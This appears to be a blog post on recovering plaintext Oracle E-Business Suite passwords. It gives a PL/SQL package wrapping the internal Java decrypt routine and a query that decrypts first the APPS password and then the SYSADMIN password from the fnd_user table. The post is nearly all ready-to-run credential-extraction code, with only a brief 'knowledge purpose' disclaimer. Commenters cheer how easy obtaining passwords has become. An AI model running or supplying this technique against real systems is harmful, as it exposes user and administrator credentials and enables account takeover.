Sunday, March 18, 2018
How to get Oracle Application User Password from database - oracle.apps.fnd.security.WebSessionManagerProc.decrypt
This is purely for knowledge
purpose and may be useful in test instances.
Step 1: Compile the below
package in APPS schema
-- APPS SCHEMA
DROP PACKAGE get_pwd;
CREATE OR REPLACE PACKAGE get_pwd
AUTHID CURRENT_USER
IS
FUNCTION decrypt(key
IN VARCHAR2,
value IN VARCHAR2
) return VARCHAR2;
end get_pwd;
/
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt_java(key
IN VARCHAR2,
value IN VARCHAR2
)
RETURN VARCHAR2
AS
LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt
(java.lang.String,java.lang.String) return java.lang.String';
FUNCTION decrypt(key
IN VARCHAR2,
value IN VARCHAR2
) return VARCHAR2
AS
BEGIN
IF user = 'APPSVIEWER' -- Schema from where password should not be shown
THEN
RETURN NULL;
ELSE
RETURN (decrypt_java(KEY,VALUE));
END IF;
END;
END get_pwd;
Step 2: Below query will help
you to get password
SELECT usr.user_name,usr.user_id,usr.description,
get_pwd.decrypt
((SELECT (SELECT get_pwd.decrypt
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
'/'
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM fnd_user usr
WHERE usr.user_name IN ('SYSADMIN');
Do you think this Article is useful?
Subscribe to:
Post Comments (Atom)
6 Responses to “How to get Oracle Application User Password from database - oracle.apps.fnd.security.WebSessionManagerProc.decrypt”
May 22, 2020 at 4:19 AM
Its a informative one!!
May 28, 2020 at 11:11 PM
Very useful thanks a lot for sharing this query
July 20, 2021 at 4:51 AM
It is giving password with null.
September 18, 2021 at 7:11 AM
It is incredible. Getting password is a piece of cake now.
November 5, 2022 at 8:42 AM
Excellent Thanks a lot for the Query
April 29, 2023 at 11:33 PM
Lovely blog you haave
Post a Comment